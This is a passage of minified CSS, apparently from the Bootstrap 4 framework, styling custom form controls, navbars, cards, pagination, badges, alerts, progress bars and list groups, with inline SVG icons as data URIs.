1px}.custom-control-label::after{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:"";background:no-repeat 50%/50% 50%}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{border-color:#007bff;background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3e%3cpath stroke='%23fff' d='M0 2h4'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-switch{padding-left:2.25rem}.custom-switch .custom-control-label::before{left:-2.25rem;width:1.75rem;pointer-events:all;border-radius:.5rem}.custom-switch .custom-control-label::after{top:calc(.25rem + 2px);left:calc(-2.25rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);background-color:#adb5bd;border-radius:.5rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label::after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label::after{background-color:#fff;-webkit-transform:translateX(.75rem);transform:translateX(.75rem)}.custom-switch .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem 1.75rem .375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;vertical-align:middle;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{display:none}.custom-select-sm{height:calc(1.5em + .5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.custom-file{position:relative;display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(1.5em + .75rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:disabled~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-input~.custom-file-label[data-browse]::after{content:attr(data-browse)}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(1.5em + .75rem);padding:.375rem .75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:inherit;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;height:calc(1rem + .4rem);padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{transition:none}}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:.2rem;margin-left:.2rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{transition:none}}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label::before,.custom-file-label,.custom-select{transition:none}}.nav{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item{-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-body{-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-ms-flexbox;display:flex;-ms-flex:1 0 0%;flex:1 0 0%;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;-moz-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion>.card{overflow:hidden}.accordion>.card:not(:first-of-type) .card-header:first-child{border-radius:0}.accordion>.card:not(:first-of-type):not(:last-of-type){border-bottom:0;border-radius:0}.accordion>.card:first-of-type{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:last-of-type{border-top-left-radius:0;border-top-right-radius:0}.accordion>.card .card-header{margin-bottom:-1px}.breadcrumb{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.badge{transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}a.badge-primary:focus,a.badge-primary:hover{color:#fff;background-color:#0062cc}a.badge-primary.focus,a.badge-primary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.badge-secondary{color:#fff;background-color:#6c757d}a.badge-secondary:focus,a.badge-secondary:hover{color:#fff;background-color:#545b62}a.badge-secondary.focus,a.badge-secondary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.badge-success{color:#fff;background-color:#28a745}a.badge-success:focus,a.badge-success:hover{color:#fff;background-color:#1e7e34}a.badge-success.focus,a.badge-success:focus{outline:0;box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.badge-info{color:#fff;background-color:#17a2b8}a.badge-info:focus,a.badge-info:hover{color:#fff;background-color:#117a8b}a.badge-info.focus,a.badge-info:focus{outline:0;box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.badge-warning{color:#212529;background-color:#ffc107}a.badge-warning:focus,a.badge-warning:hover{color:#212529;background-color:#d39e00}a.badge-warning.focus,a.badge-warning:focus{outline:0;box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.badge-danger{color:#fff;background-color:#dc3545}a.badge-danger:focus,a.badge-danger:hover{color:#fff;background-color:#bd2130}a.badge-danger.focus,a.badge-danger:focus{outline:0;box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.badge-light{color:#212529;background-color:#f8f9fa}a.badge-light:focus,a.badge-light:hover{color:#212529;background-color:#dae0e5}a.badge-light.focus,a.badge-light:focus{outline:0;box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.badge-dark{color:#fff;background-color:#343a40}a.badge-dark:focus,a.badge-dark:hover{color:#fff;background-color:#1d2124}a.badge-dark.focus,a.badge-dark:focus{outline:0;box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.media{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.media-body{-ms-flex:1;flex:1}.list-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-horizontal{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}@media (min-width:576px){.list-group-horizontal-sm{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-sm .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-sm .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}@media (min-width:768px){.list-group-horizontal-md{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-md .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-md .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}@media (min-width:992px){.list-group-horizontal-lg{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-lg .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-lg .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}@media (min-width:1200px){.list-group-horizontal-xl{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-xl 